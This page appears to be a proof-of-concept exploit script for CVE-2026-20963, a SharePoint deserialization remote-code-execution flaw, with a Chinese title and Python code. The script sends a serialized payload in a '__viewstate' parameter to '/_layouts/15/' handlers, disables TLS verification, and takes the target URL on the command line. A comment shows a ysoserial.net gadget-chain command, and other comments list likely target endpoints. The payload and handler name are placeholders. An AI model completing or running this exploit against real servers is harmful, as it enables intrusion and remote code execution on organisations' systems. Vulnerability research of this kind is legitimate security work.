CVE-2026-20963 Microsoft SharePoint 反序列化远程代码执行漏洞

# CVE-2026-20963 SharePoint Deserialization RCE PoC # This is a conceptual PoC for educational purposes only import requests import base64 import sys # Note: This PoC requires actual target information to be filled in TARGET_URL = "https://target-sharepoint-server.com" def generate_deserialization_payload(): """ Generate a malicious serialized object payload This would typically use ysoserial.net or similar tool """ # Example using ysoserial.net: # ysoserial.exe -p SharePoint -g ActivitySurrogateSelectorFromFile # -c "calc.exe" -o base64 # Placeholder for the actual payload # In real exploitation, this would be generated using: # - BinaryFormatter serialization with gadget chains # - ActivitySurrogateSelector or similar .NET gadgets # - Or SharePoint-specific gadget chains return "MALICIOUS_SERIALIZED_PAYLOAD_PLACEHOLDER" def exploit_sharepoint(target_url, payload): """ Send the malicious payload to SharePoint endpoint Common targets include: - /_layouts/15/* endpoints - WebPart pages with DataView - Custom WebPart handlers """ headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/x-www-form-urlencoded' } # Endpoint that processes serialized data endpoint = f"{target_url}/_layouts/15/SomeHandler.ashx" # Payload injection via parameter data = { '__viewstate': payload, '__VIEWSTATEGENERATOR': 'MALICIOUS_GENERATOR' } try: response = requests.post(endpoint, data=data, headers=headers, timeout=30, verify=False) return response.status_code, response.text except requests.exceptions.RequestException as e: return None, str(e) def main(): if len(sys.argv) < 2: print("Usage: python cve-2026-20963.py <target_url>") print("Example: python cve-2026-20963.py https://sharepoint.company.com") sys.exit(1) target = sys.argv[1] print(f"[*] Generating payload for CVE-2026-20963...") # Generate deserialization payload payload = generate_deserialization_payload() print(f"[*] Exploiting target: {target}") status, response = exploit_sharepoint(target, payload) if status: print(f"[+] Request sent with status code: {status}") else: print(f"[-] Exploitation failed: {response}") if __name__ == "__main__": main()